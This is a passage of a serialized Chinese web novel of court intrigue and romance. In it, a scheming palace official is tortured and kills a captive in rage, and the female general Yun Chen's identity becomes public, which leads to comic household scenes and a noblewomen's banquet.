“我一直很好奇,为什么你明明怀疑我,却从来不专心用计对付我?”颜十九一直很不解这个问题。
看到他出现在南璃君身边,霍乾念丝毫不意外,甚至连多一点的眼神都没有放在他身上。
霍乾念没兴趣给颜十九答疑解惑。
可他越是不想多说话的样子,颜十九偏偏越有兴趣,甚至有点非要打破砂锅问到底的架势。
颜十九道:“据我所知,关于我的事,你并没有对云琛说过,怎么,是怕云琛信我而不信你吗?还是怕我抢云琛?”
不管掌握多少关于颜十九的秘密,推测出多少颜十九的阴谋,霍乾念从不主动说给云琛听。
甚至连嘱咐云琛一句“离颜十九远一些”都没有,从不阻拦颜十九和云琛交往。
提到云琛,霍乾念果然表情松动了,却是轻蔑而笑,那表情仿佛在说:
“抢云琛?你不敢。你怕失了南璃君这个倚靠,避嫌都来不及。”
霍乾念并不回答颜十九的问题,而是说:
“狮威军的固英城营地外,有一个果子很大、很甜的杨梅园。”
颜十九下意识说了句:“我知道,果子确实很甜。”
但见霍乾念冷笑一声,颜十九立马反应过来,自己又一次轻易被套话了,不禁佩服又自嘲地笑了一声。
颜十九在固英城被俘时,狮威军还在烟城。
狮威军驻扎在固英城外的时候,颜十九被云琛救出,而后便立即免职回京,压根就没有时间闲逛,知道附近有什么杨梅园子。
而颜十九却脱口而出,说“果子确实很甜”。
只这么一句试探,立马就让霍乾念确定,颜十九便是在那时与同样免职回京的知罗“勾搭”上的。
不过事到如今,一切都按照预期在发展,南璃君整个身心都被颜十九牢牢攥在手中,他已根本不在意被试探出什么。
只是有些可惜,霍乾念既求娶云琛,一定铁了心要让云琛女儿身份天下大白,那知罗这枚小棋子,今后便不太好用了。
霍乾念望着雨水如天河决堤泄洪一般落下,像是要下个三生三世才罢休似的,他神态从容,淡淡道:
“那杨梅园的果子,是附近所有果园里最大、最甜的。没有什么特别的秘诀,只是别家园子每逢果树生虫时,都忙着洒药除虫,虫子倒是除掉了,但果子也**一半,剩下的果子也怎么都长不起来。
只有杨梅园将除害虫的精力用在施肥、松土、灌溉、种植遮风林、搭建雨棚上。这样适宜的条件下,所有杨梅树都长得高大茂盛,粗壮非常。
其实杨梅还是会生虫,它们啃树,吃果,但也只能危害小小的一部分。害虫根本阻碍不了杨梅的生长,充其量蚍蜉撼树。最终,每棵树都折损了一点被害虫吃掉的果子,整个园子却能迎来最大、最甜的盛收。”
颜十九将每一个字都听得仔细,反复在心里琢磨了好几个来回,认真询问:
“末治而本不乱。是这意思吗?”
霍乾念淡淡给他一个眼神,满脸都写着“你看我像是愿意告诉你?”
他再度冷笑,不再理会颜十九,大步朝天牢方向而去。
望着霍乾念不急不慢、负手离开的背影,颜十九陷入沉思。
……
……
与此同时,天牢里。
秋雨寒凉,天牢更是阴冷刺骨。
可知罗觉得,自己的心比那秋雨还要凉。
绝望和震惊如刀刃入骨一般,疼得她脸色惨白,浑身颤抖不止。
南璃君说,云琛是女子,叫知罗速速前去,赶在霍乾念到达天牢之前,亲自查验真假。
云琛是女子。
短短五个字,将镜花水月击得粉碎。
知罗像道幽魂一样,直挺挺地在牢房外站了许久,看着牢房里面——
云琛翘着二郎腿,躺在牢房里厚厚的软棉垫上,正在绞尽脑汁地解苏正阳给她拿来解闷的鲁班锁。
原本阴暗潮湿的牢房,现下已打扫得干干净净。
所有潮湿发霉的地方,都用厚厚的干草遮挡,原本冷冰冰长满青苔的石板地,也铺了厚厚的细沙。
别的牢房里,都是一盏火苗只有绿豆大小的煤油灯,云琛这里则是烛火通明的大灯笼。
苏正阳甚至还命人点了熏香。
其他衣物和吃食就更不用说,就差把苏府的厨子给关进来了。
云琛也不知道苏正阳为啥待她这样好,她估摸着是想和她进一步发展关系,想和她成为兄弟的意思。
她一边把玩鲁班锁,将十个手指头缠绕得快打结,一边自言自语:
“鲁班是哪支部
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队的?也不知道一个班有几个人,能造出这么厉害的玩意儿。”
实在解不开锁,云琛无聊地将锁扔在一旁,这才发现知罗站在牢房外。
“妈呀!”云琛先是被知罗怨鬼一样的黑影吓得一哆嗦,而后高兴地跑过去,扒住牢房门,将脑袋努力探出去些:
“知罗?你来看我啦?是殿下要放我出去了吗?”
灯笼的光影打在知罗的脸上,显得有些扭曲,叫人看不清她的表情。
她一言不发,就站在那里直勾勾地看着云琛。
云琛觉得奇怪,便将手从栏杆中间伸出去,在知罗眼前晃了晃:
“你怎么了?看着跟失魂了似的。”
知罗没有说话,只能看见一双晶莹幽闪的目光。
云琛惊讶:“你哭了吗?谁欺负你了?告诉我,等出去我帮你收拾他!”
“呵……”知罗苦笑。
要换从前听到这话,她不知道该有多高兴。
可如今只觉得极其刺耳,虚伪得让人恶心。
一股邪火突然袭上心头,知罗眼中闪过凶光,竟一把抓住云琛的手,狠狠咬了下去。
“啊呀——”云琛毫无防备,疼得大叫一声,急忙将手抽回。
手背上皮肉尽破,不停地冒血。
两排红紫色的牙印犹如烙铁一般,深深印在云琛白皙的皮肤上。
云琛疼得额头直冒冷汗,想问问知罗为什么突然咬她,却见牢门口已空空如也,不见知罗身影,只有闻声匆匆赶来的苏正阳。
瞧云琛捧着手腕,满手是血,苏正阳吓了一跳,直接将什么“天牢”“地牢”的抛在脑后,立马开锁冲进牢房。
“怎么了?出这么多血??”
云琛习惯性取下腰带包扎伤口,苏正阳止住她的动作,叫人去拿烧酒来,将酒倒在她伤口上,嗔怪道:
“咬伤不比刀伤,人口有毒,必须用酒洗过才能包扎。”
手背被酒杀得好痛,云琛疼得呲牙咧嘴,眼泪都快出来了。
苏正阳仔细为她冲洗伤口,一抬脸,正对上一双泪眼汪汪的大眼睛,微微红着,带点委屈,又带点埋怨,无辜地瞧着他。
心肝“扑通”一声,立马跳乱了节奏,苏正阳赶紧移开眼神,目光却又落在她没了衣带束缚、领口有些宽松处。
她白皙的锁骨若隐若现,看起来好香的样子……
他不自然地低下头,举拳在嘴边佯装咳嗽。
“刚来的是殿下身边的大女官知罗,你们不是从前在狮威军就认识吗,她为什么咬你?”
“不知道,女孩子嘛,每个月都有几天心情不好的时候吧。”云琛拿过腰带包扎伤口,却又停下动作,将手背举到眼前,仔细打量起来。
苏正阳瞧她那样子可爱的很,忍不住轻笑:
“放心,我给你买秦艽玉颜脂,不会留疤的。”
“不用,我家里多的是。”云琛摇头,没心没肺道:
“你还别说,知罗牙还挺齐的。”
第296章 牙齿
离开天牢,知罗与霍乾念迎面擦肩而过。
她在雨中失魂落魄地走了许久,浑身湿透,冻得瑟瑟发抖,径直走回女官住所,用冰凉的手推开房门。
刚一走进去,一柄**立刻贴上脖颈,叫她不敢再动分毫。
她自觉反手关好房门。
作为大女官,她的住所是单独的,离其他女官都很远。
即使求救,从其他人听到声音,到赶来这里的时间,已足够对方杀了她。
她既不叫喊,也不挣扎,慢慢转过身——
万宸那严肃古板的面容随即露出来,命令道:
“跪下,张开嘴。”
知罗瞪着眼睛,切齿质问:
“凭什么?你们早就知道云琛是女子!却用她做诱饵!骗我为你们卖命对吧?现在开始我退出!我不干了!”
这反应完全在万宸的意料之中,他语调平静道:
“你退不了。除非你死。”
愤怒冲上头,知罗完全不顾脖颈上的**,指着万宸鼻子,怒道:
“信不信我现在就去告发颜十九?把他一桩桩算计全部大白天下!看殿下还会不会那么信任他?”
万宸没有第一时间说话,他一脚踹向知罗小腿,逼得她跌跪下来,然后才道:
“所有算计是我们的,但都是你去殿下面前操纵的。主子在殿下面前,从未参与过任何事。”
知罗蓦地瞪大眼睛,这才知道自己多么可笑,为人做了那么久的棋子,竟然现在才反应过来。
再看他颜十九,一面和南璃君情深似海,一面从不参与任何朝政。
按如今这局面看来,就算知罗一五一十地将一切告诉南璃君,恐怕也只能落个比菘蓝还要惨的下场。
“今后你干也得干,不干也得干。”万宸语调冰冷无情:
“除非你死,或者你远在昭国魁星城的知家上下五十六口都**。”
知罗头皮一麻,恐惧得睁大眼睛,终于明白,颜十九这条恶船,她已休想轻易摆脱。
她下意识向后躲去,却被万宸一把抓住,用力钳住下巴,逼迫她张开嘴。
紧接着,一柄冰冷的核桃钳粗鲁地伸进她口中,死死钳住她的牙齿。
一声惨叫从屋内传出,又倏地消失在大雨之中。
万宸将两颗血淋淋的、甚至还带着牙根的臼齿扔在地上,头也不回地离开。
“主子说,这次只两颗。若你再敢碰云琛一根汗**,下次便是全部。”
从知罗咬了云琛一口到现在,不过一刻钟的时间。
甚至知罗还未回到住所,万宸就已得令在此等候。
这说明天牢有颜十九的人。
连天牢都有颜十九的人!才能让消息传得如此之快!
不知这属于南璃君的皇宫里,如今已有多少颜十九的眼线。
逃不了,反抗不了,算计不过……
两腮剧痛,满嘴都是血腥味,知罗趴在地上不停地呕吐,眼泪和血水混合在一起,滴落在一地的秽物中。
她颤抖着哭泣。
哭着哭着,却又低声地笑起。
最终变成近乎癫狂的笑声,音调悲哀又绝望。
她慢慢爬起身,再次走进大雨中。
跌跌撞撞来到百兽园,墨墨老远就看见知罗,高兴地跑过来,爬上她的肩膀,刚想用头蹭蹭她,却不料被狠狠一把打开。
墨墨摔落进泥地里,却没有任何怨言,只是快速爬起,又朝知罗跑去,嘴里不停地发出“咕咕”声,像是在担忧询问。
知罗已根本听不见、看不见周遭任何。
愤怒、恐惧、绝望、怨恨、痛苦……
一切情绪紧紧纠缠,在她心头横冲直撞,几乎要从内将她撕裂。
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她一路冲进园子最深处的地窖,一个蓬头垢面的男人被捆缚着四肢,躺倒在地上。
范吉安自从去霍府报完假信,回来朝知罗复命后,就被一杯**迷翻,一直关在这暗无天日的地牢里。
三天没吃没喝,范吉安已近乎崩溃。
在看到有人进来时,他本能地挣扎想要求救,却因口中勒着布条而说不出口。
墨墨率先跑到范吉安面前,举起小拳头挥舞两下,装作很凶的样子,像是在教训范吉安,而后扭头去看知罗的神色,又像是在讨好。
注意到知罗浑身湿透,嘴边和前胸都有血迹,黑发湿漉漉地贴在白纸一样的脸上,浑身怨气冲天宛如怨灵,范吉安愣了一下,像是预感到了什么,开始大力挣扎。
知罗像个没有灵魂的提线木偶,拖着步子走到范吉安面前。
她拿起一旁的铁铲,拖到范吉安面前。
铁铲摩擦着地面,发出刺耳的声音。
墨墨赶紧用小爪子捂住耳朵。
“你们知道,我走到军师的位置,有多难吗……”知罗幽幽开口,“你们知道,固英城的地道营救,费了我多少心血吗……你们以为我很喜欢做狗一样摇尾讨好的女官吗……原以为一切都值得的……哪怕要做那么多违心的算计,也都值得……”
她眼中落泪,脸上却是阴怨的惨笑。
她举起铁铲,锋利的边缘对准范吉安,喃喃道:
“都是骗子,都是……”
狠狠一铲下去,范吉安闷闷哀嚎出声。
鲜血飞溅到知罗的脸上,叫她的面色愈加扭曲骇人。
一铲,两铲,三铲……
直到铁铲咣咣撞击到地面上,知罗还是没有停下手,甚至一下比一下更狠厉,吓得墨墨蜷缩在一旁,瑟瑟发抖,不敢去看。
“骗子……都是骗子……”
第297章 天下大白女儿身
如果你最好的兄弟,突然变成女人,你会怎么样?
为了不给霍帮的兄弟们造成太大的心理冲击,云琛没敢直接换女装现身。
霍乾念将她从天牢接出来,将南璃君会为他们赐婚的消息告诉她后,云琛略略收拾了一下。
她先在霍乾念的坚持下,细细处理了手上咬伤,硬是好言好语拦了半天,霍乾念才没有黑着脸又冲回宫去找知罗。
随后,云琛脱下男装。
她仍旧穿着武将常服,但不再是宽肩窄腰的公子袍,而由京中最昂贵的裁缝铺,为她量身改成了贴合曲线的款式。
束缚了十多年的裹胸终于松开,凹凸的身段明显地展露出来。
她未施粉黛,只将头发梳成最简单的团圆髻,戴了一对精致小巧的碧玉耳坠。
一张巴掌大小的盈白脸,浓淡相宜的娇俏眉眼,身姿高挑,气质干净利落。
云琛浑身上下都透着英气和明媚,好一个不爱红妆爱武装的将门美人儿。
当霍乾念牵着云琛的手,正大光明地走进霍府时。
守门的院卫傻眼了。
洒扫的家仆看呆了。
几个相熟的近卫愣愣地看着云琛,嘴巴张成鸡蛋大,下巴差点掉在地上。
“这姑娘长得好像阿琛……”
“阿琛竟有个这么漂亮的妹妹吗……”
“艹,她脸红了,红得和阿琛平时一模一样!!”
云琛不好意思地低头笑,感觉无数双眼睛都在盯着自己看,搞得她浑身不自在,走路的时候都不晓得先迈哪条腿。
霍乾念倒笑得比花还灿烂,神气的像得胜归来似的。
毕竟这一天他已经盼望很久了。
二人一路向栖云居走去,霍乾念故意走得不急不慢,好叫所有人都看清云琛的模样。
从霍帮众人惊呆的目光中穿过,二人一路都能听到无数个语调上扬、倒吸凉气的“嗯??”“啊??”声。
霍乾念忍不住说:
“怎么的,我府上养驴了吗?”
走着走着,前方突然“哐当”一声巨响。
润禾手中的水盆摔落在地,震惊地瞪着云琛,表情跟见鬼似的。
霍乾念佯怒:“还不叫‘少夫人’?”
润禾将眼睛闭上,自我催眠道:
“我一定是在做梦,一定是……”
云琛被润禾的样子逗得不行,掩嘴而笑。
看着她那完全不加掩饰的女儿家才有的动作,润禾两眼一翻,直接昏了过去。
霍乾念终于忍不住哈哈大笑,笑声将正在栖云居里,拿着大葱和豆腐,准备给云琛来个“一清二白”出狱仪式的花绝、不言两人招了过来。
“我听到少主的声音了?是不是阿琛回来了?阿琛!我要用豆腐给你洗个澡!去掉天牢里的污秽气!”
花绝扯着嗓子大喊,拎着一大桶豆腐从栖云居冲出来,随即惊恐地刹住脚,止步在云琛面前。
像面对着什么避之不及的洪水猛兽,花绝不敢正脸相对,只斜着身子斜着眼,眼睛溜圆地瞪向云琛。
云琛抿嘴而笑:“洗澡就别了,洗个头还是可以的。”
熟悉的声音,熟悉的玩笑语调。
花绝深吸一口气,狠狠对着空气挥了下拳头,爆发出一声大喊:
“我!就!知!道!!!”
像是比赢了赌坊头彩还高兴,花绝一拳捶碎豆腐,高举双拳,仰天大吼:
“我!就!知!道!我!哥!不!是!龙!阳——”
霍乾念翻了个白眼,一脚踹在花绝屁股上。
花绝身后,慢半步跑出来的不言死死咬着手里的大葱,眼泪哗哗直流。
他眼含热泪,像个伤心透顶的大姑娘似的,连连摇头后退,嘴里喃喃哽咽道:
“不可能……不可能……阿琛要入宫做太监??”
没得办法,霍乾念只能又飞出去一脚。
一旁的云琛早已笑弯了腰。
于是乎,云琛这个名字再次炸翻楠国。
大名鼎鼎、战功卓著的云将军。
那个长得俊俏高挑,身手却狠厉不凡的云将军!
据说与霍乾念有龙阳之好的云将军!!
竟然是个
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如花似玉的大美人!!!
云琛女儿身份天下大白。
这一消息不胫而走,以比炸雷还惊还快的速度,迅速传遍整个京都。
街头巷尾全在议论这位开国以来的第一位女将军,以及她非凡艰险的过往。
因为举国瞩目的霍玉之争的关系,云琛从入霍帮做护卫开始,就不断收获到坊间关注。
她屡屡勇救家主、险中求胜的忠义事迹,早已在民间广为流传。
再加上后来从军从将,屡立奇功,云琛早就成了楠国话题榜上排行前三的常客。
如今,一个年轻英俊、前途无量、引得无数少女倾心的新贵少将军,竟摇身一变穿起飘飘罗裙,实在令人惊叹。
再加上东宫下了一道圣令,并无半点苛责欺瞒之罪,反而大大褒奖云琛巾帼不让须眉的英勇战绩,还连带着提了云氏两句。
有了这官方认证的家世,人们才知,云琛可不是什么来自小门小户的鲁莽小丫头,竟然是来自赫赫有名的幽州云氏。
爹是幽州马王,弟弟是才高八斗的新任丞相,兄弟是整个霍帮三千“悍匪”一般的护卫。
更不要说还有霍乾念这个身价万万亿两、权势滔天的“绯闻相好”。
人们不禁羡慕感叹,这是什么豪门顶级配置?
什么爽快人生!
据说现在的楠国话题榜上,从第一名到第九十九名,全是关于云琛的。
一连霸占热搜七八天,烫得都下不来。
其中大多都是褒扬赞叹,少部分对她女扮男装、常年混迹在男人堆里的行径大为不耻的消息,全都被通通淹没。
作为霍帮第一个知道云琛女儿身份的叶峮,在苦苦憋了那么久的秘密之后,终于可以仰天大笑,一吐为快。
他爱说,周遭人都爱听,全都成天围着他问东问西听八卦,巴不得他直接开堂说书。
可能是叶峮太过于着重渲染云琛,而忘了霍乾念这个男主角的缘故。
很快,从前天天约着云琛喝酒的兄弟们,开始陆陆续续单独约云琛出去看花。
第298章 护嫂狂魔
在叶峮说书一样日夜不休的渲染下,云琛的形象可谓与日高大、美丽,又迷人。
那些从前天天约着云琛喝酒的兄弟们,开始陆陆续续单独约云琛出去看花。
花前月下,云琛像从前一样提着刀和酒,对方却不好意思地挠挠头,递出一封字迹拙劣、用词大胆露骨的情书。
这是我把你当兄弟你却想那啥我的意思?云琛惊得一身鸡皮疙瘩,不敢再去赴约。
霍乾念听说这事后,眼皮子都没有抬一下,只淡淡道:
“情书?很好,第一次见实名制想死的。”
叶峮自知坏事,赶紧张罗满府准备起婚娶的家伙式儿。
什么红绸、喜字、红灯笼,流水一样送进霍府,一天喊七八个裁缝上门为云琛量体裁衣,嚷嚷要定制凤冠霞帔。
就这还不够,叶峮甚至还叫人把吃席用的大圆桌专门拿去府门口刷洗,生怕别人不知道他家喜事将近。
听说这么一来,满府都知道了云琛要嫁给霍乾念的消息。
霍府的护卫大房里呜呜咽咽地伤心了好几夜。
没过几日,实名制“想死”的七八个护卫,通通被发配边疆堂口,说是得等云琛生娃之后再调回来。
剩下的霍帮兄弟们,虽没有“睡”云琛的心思,也不再如从前一样和云琛打闹,却怎么都掩不住“腌臜”云琛的劲儿。
尽管已经很顾着男女之防了,但云琛经过前院护卫队的时候,还是总能收获一大波“不怀好意”带憋笑的口哨声。
“喂,这位美丽的姑娘,见过我兄弟阿琛吗?”
“咳咳,在下乍见姑娘,觉得好生面熟,请问姑娘认识一个叫‘云琛’的吗?他还欠我一顿酒。”
“瞎喊什么呢?得叫少夫人!少夫人,看在咱俩一块扛过两刀的份儿上,能给我涨月钱不?涨十两咋样?”
“你这厮好贪心——我涨五两就行!先给我涨!”
“我三两!”
“我一两!”
“我倒贴!当陪嫁!”
“通房丫头?少主愿意吗?”
“哈哈哈哈哈哈——”
在昔日兄弟们嘻嘻哈哈的哄笑中,云琛闹得大红脸。
闻声而来的花绝抄起打狗棒,护在云琛身前,朝几个护卫挥舞驱赶:
“去去去,大男人欺负小姑娘?过分了昂!”
几个护卫更来劲了:
“哟哟哟——护嫂狂魔又来了哇——”
花绝瞪眼,将打狗棒往地上一杵,“对!不许欺负我嫂子!”
几个护卫直乐,没人再像从前一样对云琛勾肩搭背,而是上前勾住花绝的脖子,笑道:
“花哥,我们倒是想欺负少夫人,可惜没那本事,打不过。”
“‘小姑娘’?我还是不能把这仨字和阿琛联系在一起!”
“好伤心啊,以后不能和琛哥一起喝酒了。”
花绝抱着打狗棍,骄傲地挺起胸脯:“怕啥?马上不就可以喝少主的喜酒了?以后还有小少主的满月酒,加冠酒……那多了去了!”
“哎呦喂——”众人哄堂大笑。
云琛脸臊得快要烧起来,直接上前拧住花绝耳朵,将人往栖云居拖去,骂道:
“你这厮嘴里缺个把门的是吧?要不我给你安一个?”
花绝疼得直咧嘴,不敢像从前那样还手,只能歪着身子捂住耳朵,叫道:
“嫂嫂饶命!”
众**笑不止,“哟哟哟——嫂子打小叔子啦!哈哈哈哈——”
自从云琛女扮男装的身份揭开后,花绝就立刻从云琛的“兄弟”,转换为云琛忠实的护卫小叔子。
甭管不言,还是其他关系要好的护卫们,只要是个公的想接近云琛,花绝一概不许,只叫人站在三丈外说话,传递任**笺都得他核验。
这
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举动虽然过于夸张,但霍乾念也不制止。
他心里高兴着呢,觉得这样挺好,省得他自己天天操心防情敌了,还要被人议论“少主真小气”。
转而在看到花绝习惯性地将手搭在云琛肩膀上说笑时,他又忍不住脸色一沉,对一旁还在愁眉苦脸、久久不能接受云琛女儿身的不言道:
“去,给蕊娘家里再送两块搓衣板去!”
幸而蕊娘温柔大度,没舍得花绝跪搓衣板,只在他手腕上绕了圈花头绳。
从此以后,每当花绝伸手想要搂云琛的时候,都会看见那花头绳,立马想起云琛如今已是女子,便不敢再有任何逾矩的动作。
只是花绝“护嫂狂魔”这个名号已经坐实,整个霍府都传透了。
谁知没两天,花绝不知哪根神经搭错,不光防着别人,竟还开始防霍乾念。
说什么男女有别,花绝主动充当起霍乾念和云琛之间的超大号“雷池”。
每当霍乾念想与云琛并肩吟诗作画的时候,花绝都会直愣愣地挤进二人中间,装模作样地对霍乾念刚画成的一幅鹤鸣图点评道:
“嗯,鸡画得不错。”
倘若霍乾念与云琛在院子里喝酒,花绝便要冲过来强行将酒壶拿走,换上万杯也醉不了的小吊梨汤。
倘或霍乾念要与云琛去房里,一块赏什么黑了灯才能看清的月光石,花绝敢直接拦腰将霍乾念扛走,嘴里还笃定道:
“别装了哥,我也是男人,咱不能大晚上同黄花大姑娘独处。”
霍乾念咬牙切齿:“放我下来!我千金从琉璃岛买来一块月光石,要拿给琛儿镶冠子的!”
花绝“啧”了一声,坚定摇头:
“哥,你怎么是这样的人?门一关,灯一熄,我不信你只想看石头光溜溜。”
霍乾念脸色不变,耳尖却已微红,强怒道:
“滚!”
第299章 赴宴
宋禄老伯爵六十大寿,特邀亲朋好友赴宴,京中有头有脸的都会去。
云琛和霍乾念自然也收到邀请。
只不过这一次,云琛收到的不再是宋禄老伯爵亲笔书写的邀函,而是一封系着精致丝带的秀帖。
下帖的是宋禄老伯爵夫人,落款处还多写了一个名字“宋俏俏”,一看就是后面硬加上去的。
宋禄老伯爵家的五小姐宋俏俏,云琛在秋狝时见过。
她受伤的时候,宋禄还带着宋俏俏去探望过她,想招她做女婿来着,闹得宋俏俏当场落荒而逃。
宋俏俏本来对云琛就没有什么男女之意,只是崇拜。
如今知道云琛是女子,宋俏俏别提有多高兴,几次三番邀请云琛同去游玩,却都被云琛以各种理由婉拒了。
不是云琛不给面子,她也很喜欢宋俏俏这个活泼可爱的女孩子。
只是如今女儿身份天下大白,云琛做了十几年的男子,乍一失去“男人”身份,她竟十分不自在。
颇有种忘记穿外衣,只穿着寝衣溜大街的窘迫。
面对宋俏俏的热情邀请,她心里慌得直突突。
霍乾念捏捏她的小脸,笑她:
“我的琛儿勇冠三军,连二十万黑鳞骑兵都不怕,却有怕小小罗裙的时候。”
云琛苦恼:“我一日都没有学过女儿家的礼仪,也很少和女孩子们打交道,唉……好紧张……”
这种紧张的情绪一直持续到赴宴时。
霍府的马车停在宋禄伯爵府门口,霍乾念嘱咐了她一句“不必在意,有我在,你的规矩就是规矩”,而后大步流星地往前厅而去,叶峮和不言作为护卫随行。
云琛则由一个刚来霍府两天的小侍女兰倩侍候着,往宋禄伯爵府的内宅而去。
兰倩是云望特意从幽州云府选来的丫头,个头娇小,但说话做事十分伶俐,且礼数十分周全,是由白氏亲自教导过的。
她率先下车,准备去拿夫人小姐们下马车时都要踩的小台阶,一扭头,却见云琛已经干脆利落地跳下车,正在用男子架势掸裙子。
兰倩嘴角微抽,“大小姐,您今儿穿的是裙式,不是武袍,也没有骑马,没落灰,不用掸了……”
“哦……确实。”云琛反应过来,为了参加今日宴会,她特意穿了一身靛蓝粉清的女式骑马装,上着立领圆袍,下着束腰马面裙,腰间还坠了玉佩和香囊。
虽然样式很潇洒,但一看就是女子着装。
再加上她特意选的粉清色,怎么看都是一个英姿飒爽又俏丽的美人。
兰倩满意地看着云琛的脸,不枉费她一大早起来为云琛上妆、梳发、戴配饰,一切不浓不淡正正好,完美凸显出云琛干净大方的气质,绝对美得人睁不开眼。
兰倩正美美幻想着,一会儿内宅的女子们见了云琛,该多么羡慕、欣赏又自愧不如的情景,就见云琛像从前那样负起手,迈开四方步,大大咧咧往宅子里进。
“我的大小姐!您是去和各家夫人小姐见面,不是去和敌国将军干仗哒!”兰倩急急跑过去,强行搀扶住云琛。
因为跑得有点急的缘故,兰倩脚下没留神,一下踩在石子上,脚下一崴,整个人就要栽倒。
云琛眼疾手快,一把揽住兰倩的腰,将人稳稳搂住,声音温柔有力:
“不急,慢慢走,我等你。”
看着云琛那虽已上妆,却仍然难掩英武之气的面容,
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感受着那揽在腰间的坚实有力的臂膀,兰倩瞬间恍神,脸“唰”地红起来。
有男子那般敏捷的身手和可靠的力量,却没有一丝一毫的轻薄调戏。
兰倩一时间小鹿乱撞,稳了好一会儿才回神,赶紧对云琛道:
“大小姐,一会儿进了内宅,都是各家的夫人小姐们在里面,您少说话,别碰人家大姑娘昂,听话。”
云琛不解,但还是点头应下。
云琛和兰倩由伯爵府的侍女引着,避开男人们来来往往的前厅中堂,进入小路曲折幽静的内宅。
远远地,云琛听见内厅里传来一阵阵莺声燕语。
她在门口略略顿住步子,心里有点发怯。
从来只在前厅男人堆里喝酒笑闹,她这还是第一次参加全是女人的宴席。
京都圈里最近怎么说她来着?
大部分都是夸她巾帼英雄的,也有不少说她女扮男装有失体统,放浪形骸恬不知耻,是成日和男人厮混的**货色的。
若进了这道门,被七嘴八舌的软刀子捅上一圈,伤得一身鲜红似血的口脂印,云琛不知该怎么办。
总不能像从前对苏正阳那样,一通拳脚就完事吧。
似乎看出云琛的顾虑,兰倩替她整了整衣裙下摆,笑道:
“大小姐,姑爷说了,你只管去,有他在,你什么也不用怕。失仪也是体统,放肆也是规矩。姑爷说,不管以后还有没有位高权重的日子,今日他还是侯爷,是将军,大小姐尽管快活就是。”
心里安慰许多,云琛鼓起勇气,跨进厅门。
守门的侍女嗓音清甜,高声道:
“云琛少将到——”
一瞬间,厅内各种声音戛然而止。
第300章 女中豪杰
“云琛少将到——”
一声通传响彻内厅。
所有人都好奇地看过去,想瞧一瞧这楠国第一位女将军长什么模样,离经叛道的男装之下,是怎么样一张脸。
云琛快速环顾四周。
和从前男人们喝酒用宴的前厅不同,这里没有一眼望去便阶级分明的上下位、腰挎刀剑不苟言笑的护卫,一言不合就要开打的紧张气氛。
夫人和小姐们三三两两站在一起,宛若一簇簇姹紫嫣红相依的花朵,金银玉钗圈着一张张盈白香嫩的脸,到处都是温柔明媚的气息。
每每进入一处陌生地方时,云琛都会下意识扫视全场,将一切人手布局、前后门方位辨得清清楚楚。
可眼下望去,到处只见一片花枝招展、颜色绚烂,晃得她连门在哪里都看不清,眼睛有点不知该往哪里放。
而厅内众女子,则是分明地感受到云琛不怒自威的气势,那眼神带着锐利锋芒扫视全场,那英姿容颜简直令百花黯然失色,不由啧啧惊奇。
“云琛姐姐!”宋俏俏一声甜甜的叫喊,打破了场面的安静。
她像只雀跃的小麻雀一样,跑上来亲昵地挽住云琛的胳膊,嗔怪道:
“姐姐可是嫌弃我?我喊你那么多次都不来,我好伤心!”
云琛从没被人这么温柔地“责怪”过,一时不知该怎么回答。
看着云琛发愣又有点局促的样子,宋俏俏娇笑:
“哈哈,逗你啦!姐姐是朝廷命官,有忙不完的事务,我懂的!”说着宋俏俏又小声靠近云琛,高兴道:
“姐姐,真好,你竟然是女子。不然我恐怕一辈子也没机会贴你这么近呀!”
说罢,也不管云琛愿不愿意,宋俏俏直接拉着她开始溜圈,将厅内众人一一介绍给她。
“这位是江二娘子,绣得一手极美的苏绣,绣出来的鸟儿跟活的一样,可漂亮了!
这位是静安府的张娘子。张娘子执掌中馈可厉害了,前年查国税,静安府愣是一文钱不差!他家铺子贼多,账目却极清楚,对于我这种二两银子都掰不开的人来说,实在厉害!
这位是杨六小姐,她可是京城里出了名儿的火眼金睛,任何金银玉石拿过来,她只瞧一眼,便知真假,我们都叫她‘试金石’来着,哈哈哈……
这位杜六娘可有名了,自幼饱读诗书,出口能成章,下笔如有神,我经常找她给我抄诗集来着……
这位是庄国公家的小妹……
这位是太尉府的宝华夫人……”
宋俏俏一一介绍,对方一一向云琛行礼,柔柔道一声“云大将军好”。
几位活泼的小姐被介绍到时,还拿扇子轻轻去扑嘴贫的宋俏俏,可见与宋俏俏关系很好。
转了一大圈,云琛哪个也没记住,就觉得眼前眼花缭乱,美不胜收。
不多时,宴席开始。
老伯爵夫人久病不出,整个厅里,比云琛爵位高的诰命夫人不少,但有高职官位的只有云琛一个。
没得办法,云琛只能硬着头皮坐主位。
她大马金刀地叉腿坐下,提起手边茶杯一饮而尽,而后习惯性地拿袖子擦了下嘴。
感觉到全场的鸦雀无声和惊讶目光,云琛脸一红,又缓缓将两条腿并起来,学着其他小姐们的样子,只身子微斜,坐半个凳子。
她端起茶杯小小地嘬,样子看着生疏又笨拙,惹得好几个年龄小的小姐笑出了声。
一位夫人笑道:
“云将军常年征战在外,自是不喜欢拘束。依我看,咱们也放松些,别规矩来规矩去的了!”
众人浅笑不语,没有赞同,也没有反驳,只是更加频频看向云琛,对她的一举一动都颇为好奇。
深宅大院里长出来的女人们,都极善解人意。
没人提云琛女扮男装的事,只是像和普通大户人家小姐谈天一样,问问云琛如今几岁了,家里双亲如何
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,弟妹如何,衣裳料子真漂亮,是哪里买的。
很快,宴席开始。
前院里传来一阵阵男人们的高谈阔论声。
内厅也张罗起精致的宴席。
只不过一切都比前院的小了一大圈。
巴掌大的小碗,叶子大小的菜碟,菜量也减了许多。
云琛早已饿得饥肠辘辘,她感觉守着规矩和女孩子们说话,远比打架还要费力气。
她麻利地坐到桌边,用暖布净手,而后刚拿起筷子要夹菜,却见所有夫人小姐们又拿了块新帕子出来,轻轻沾拭手上的水汽,她只能停住筷子等待。
宋俏俏瞧出云琛不懂这些,索性将帕子往后一抛,热情地招呼大家:
“擦一遍就行啦,再擦菜都要凉啦!”
众人笑起,纷纷动筷用宴。
见云琛吃菜时,一挑就是一大筷子,吃起来虽不狼狈,但大口大口吃得极香,三两下便一碗饭见底,众人简直惊呆了。
云琛吃了一碗又一碗,一旁的兰倩长这么大都没见识过这种情况,差点来不及收碗。
吃到第四碗的时候,云琛终于察觉到所有人都在打量自己,不禁停下筷子,不好意思再吃。
一位不认识的小姐惊叹道:
“好生羡慕云将军呐,这样吃还不胖,真是羡慕!”
另一位夫人接话笑道:“云将军是有福气的,换作我,那是想吃也吃不下,看着菜干着急!”
“哈哈哈……”众人皆掩嘴欢笑。
云琛脸有点红,心里却很高兴,她觉得在场的夫人小姐们都好和善。
